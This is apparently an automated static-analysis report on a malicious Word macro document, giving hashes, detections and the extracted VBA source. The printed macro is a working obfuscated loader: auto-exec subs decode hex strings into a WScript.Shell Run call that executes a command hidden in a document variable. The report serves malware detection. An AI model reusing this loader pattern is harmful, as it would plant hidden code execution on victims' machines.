Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5318557a5b326c58…

MALICIOUS

Office (OLE)

46.5 KB Created: 2018-06-22 16:10:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: b7ee7ea3cf88e70c74c9b2807b19f99c SHA-1: d3b90f18b1d24119d239330eaf5c2a82c6791c96 SHA-256: 5318557a5b326c5851abd2c2bc87354e9f87c6dc82ee8aa3d3f5641ef46bffac
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains heavily obfuscated VBA macros, including an auto-exec loader that uses CreateObject and CallByName. The 'Document_Open' subroutine is triggered upon opening, which then calls another subroutine that uses CreateObject to instantiate an object and CallByName to execute a method with a value from the document's variables. This behavior strongly suggests the macro is designed to download and execute a second-stage payload. The ClamAV detection name 'Xls.Malware.Valyria-6700360-0' further confirms its malicious nature.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700360-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700360-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2832 bytes
SHA-256: d497d87f3df0f5d9aa3cbf6b0c978ed5f526a6435f601cca3f59fc79435a4447
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function SPWRKSHG() As String
D aSPWRKSHG As String
aSPWRKSHG = "62806262875B62434C6273914362627A565394628F6262354262622F5862622A62627B6294625F626223629938623A60626262627E2D62626267842B37627C628960628B956269575162"
Dim mySPWRKSHG = aSPWRKSHG
DimDimMsgBox ((aSPWRKSHG & mySPWRKSHG, 28))
End Function

Public Sub NP_()
    Dim QO_ As Object: Set QO_ = CreateObject(DUJ_("8C8898A79EA5A963889D9AA1A1"))
    CallByName QO_, DUJ_("87AAA3"), VbMethod, DUJ_(ActiveDocument.Variables("WMBPRXYAP").Value), 0, True
End Sub
Private Function ODIKBAXZ() As String
D aODIKBAXZ As String
aODIKBAXZ = "62806262875B62434C6273914362627A565394628F6262354262622F5862622A62627B6294625F626223629938623A60626262627E2D62626267842B37627C628960628B956269575162"
Dim myODIKBAXZ = aODIKBAXZ
DimDimMsgBox ((aODIKBAXZ & myODIKBAXZ, 28))
End Function

Sub OBUJV_()
    NP_
End Sub
Private Function HSLGGBOC() As String
D aHSLGGBOC As String
aHSLGGBOC = "62806262875B62434C6273914362627A565394628F6262354262622F5862622A62627B6294625F626223629938623A60626262627E2D62626267842B37627C628960628B956269575162"
Dim myHSLGGBOC = aHSLGGBOC
DimDimMsgBox ((aHSLGGBOC & myHSLGGBOC, 28))
End Function

Public Sub Document_Open()
    Application.Run DUJ_("84778A7F8B94")
End Sub
Private Function QHDVUEJF() As String
D aQHDVUEJF As String
aQHDVUEJF = "62806262875B62434C6273914362627A565394628F6262354262622F5862622A62627B6294625F626223629938623A60626262627E2D62626267842B37627C628960628B956269575162"
Dim myQHDVUEJF = aQHDVUEJF
DimDimMsgBox ((aQHDVUEJF & myQHDVUEJF, 28))
End Function

Sub Workbook_Open()
    OBUJV_
End Sub
Private Function FZADCUQW() As String
D aFZADCUQW As String
aFZADCUQW = "62806262875B62434C6273914362627A565394628F6262354262622F5862622A62627B6294625F626223629938623A60626262627E2D62626267842B37627C628960628B956269575162"
Dim myFZADCUQW = aFZADCUQW
DimDimMsgBox ((aFZADCUQW & myFZADCUQW, 28))
End Function

Public Function DUJ_(ByVal QO_ As String)
   Dim K_ As String
   Dim BQJ_ As Long
   For BQJ_ = 1 To Len(QO_) Step 2
        Dim YNH_ As Long: YNH_ = CLng(Chr(38) & Chr(72) & Mid(QO_, BQJ_, 2))
        K_ = K_ & Chr(YNH_ - 53)
   Next
   DUJ_ = K_
End Function
Private Function OIDONJPE() As String
D aOIDONJPE As String
aOIDONJPE = "62806262875B62434C6273914362627A565394628F6262354262622F5862622A62627B6294625F626223629938623A60626262627E2D62626267842B37627C628960628B956269575162"
Dim myOIDONJPE = aOIDONJPE
DimDimMsgBox ((aOIDONJPE & myOIDONJPE, 28))
End Function